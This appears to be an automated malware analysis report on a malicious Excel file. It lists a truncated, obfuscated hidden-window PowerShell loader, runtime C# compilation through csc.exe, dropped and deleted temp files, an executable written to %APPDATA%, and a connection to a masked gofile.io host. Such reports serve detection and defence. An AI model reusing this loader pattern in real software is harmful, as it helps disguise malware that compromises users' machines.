Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function ue3d5e {param($g6aaf4)$y53d181='r1a4c3';$b734a3='';for ($i=0; $i -lt $g6aaf4.length;$i+=2){$g4e3cc=[convert]::ToByte($g6aaf4.Substring($i,2),16);$b734a3+=[char]($...
Modifies file system
Creates the following files
- %TEMP%\myhe5ipa.0.cs
- %TEMP%\mrnsaynj.dll
- %TEMP%\jejphq2b.dll
- %TEMP%\resb3ae.tmp
- %TEMP%\resb6fa.tmp
- %TEMP%\r8ivip_y.dll
- %TEMP%\resb5c1.tmp
- %TEMP%\myhe5ipa.dll
- %TEMP%\uyzpq6yk.dll
- %TEMP%\resb227.tmp
- %TEMP%\cscb6d9.tmp
- %TEMP%\cscb5b1.tmp
- %TEMP%\resb2b4.tmp
- %TEMP%\cscb38e.tmp
- %TEMP%\cscb2a3.tmp
- %TEMP%\cscb217.tmp
- %TEMP%\jejphq2b.out
- %TEMP%\jejphq2b.cmdline
- %TEMP%\jejphq2b.0.cs
- %TEMP%\uyzpq6yk.out
- %TEMP%\uyzpq6yk.cmdline
- %TEMP%\uyzpq6yk.0.cs
- %TEMP%\r8ivip_y.out
- %TEMP%\r8ivip_y.cmdline
- %TEMP%\r8ivip_y.0.cs
- %TEMP%\mrnsaynj.out
- %TEMP%\mrnsaynj.cmdline
- %TEMP%\mrnsaynj.0.cs
- %TEMP%\myhe5ipa.out
- %TEMP%\myhe5ipa.cmdline
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{f26dc019-786b-4053-9cb7-3e031d684ef8}.tmp
- %APPDATA%\w35a2a.exe
Deletes the following files
- %TEMP%\resb227.tmp
- %TEMP%\jejphq2b.dll
- %TEMP%\jejphq2b.pdb
- %TEMP%\jejphq2b.cmdline
- %TEMP%\jejphq2b.0.cs
- %TEMP%\resb3ae.tmp
- %TEMP%\cscb38e.tmp
- %TEMP%\r8ivip_y.0.cs
- %TEMP%\mrnsaynj.0.cs
- %TEMP%\r8ivip_y.out
- %TEMP%\r8ivip_y.dll
- %TEMP%\r8ivip_y.cmdline
- %TEMP%\mrnsaynj.cmdline
- %TEMP%\mrnsaynj.pdb
- %TEMP%\mrnsaynj.dll
- %TEMP%\jejphq2b.out
- %TEMP%\r8ivip_y.pdb
- %TEMP%\cscb6d9.tmp
- %TEMP%\myhe5ipa.dll
- %TEMP%\cscb217.tmp
- %TEMP%\resb2b4.tmp
- %TEMP%\cscb2a3.tmp
- %TEMP%\myhe5ipa.0.cs
- %TEMP%\myhe5ipa.cmdline
- %TEMP%\myhe5ipa.pdb
- %TEMP%\myhe5ipa.out
- %TEMP%\cscb5b1.tmp
- %TEMP%\uyzpq6yk.dll
- %TEMP%\uyzpq6yk.pdb
- %TEMP%\uyzpq6yk.cmdline
- %TEMP%\uyzpq6yk.0.cs
- %TEMP%\uyzpq6yk.out
- %TEMP%\resb5c1.tmp
- %TEMP%\resb6fa.tmp
- %TEMP%\mrnsaynj.out
Network activity
TCP
- 'sr####le7.gofile.io':443
UDP
- DNS ASK sr####le7.gofile.io
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function ue3d5e {param($g6aaf4)$y53d181='r1a4c3';$b734a3='';for ($i=0; $i -lt $g6aaf4.length;$i+=2){$g4e3cc=[convert]::ToByte($g6aaf4.Substring($i,2),16);$b734a3+=[char]($...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\myhe5ipa.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\mrnsaynj.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\r8ivip_y.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\uyzpq6yk.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\jejphq2b.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB227.tmp" "%TEMP%\CSCB217.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB2B4.tmp" "%TEMP%\CSCB2A3.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB5C1.tmp" "%TEMP%\CSCB5B1.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB3AE.tmp" "%TEMP%\CSCB38E.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB6FA.tmp" "%TEMP%\CSCB6D9.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\myhe5ipa.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\mrnsaynj.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\r8ivip_y.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\uyzpq6yk.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\jejphq2b.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB227.tmp" "%TEMP%\CSCB217.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB2B4.tmp" "%TEMP%\CSCB2A3.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB5C1.tmp" "%TEMP%\CSCB5B1.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB3AE.tmp" "%TEMP%\CSCB38E.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESB6FA.tmp" "%TEMP%\CSCB6D9.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
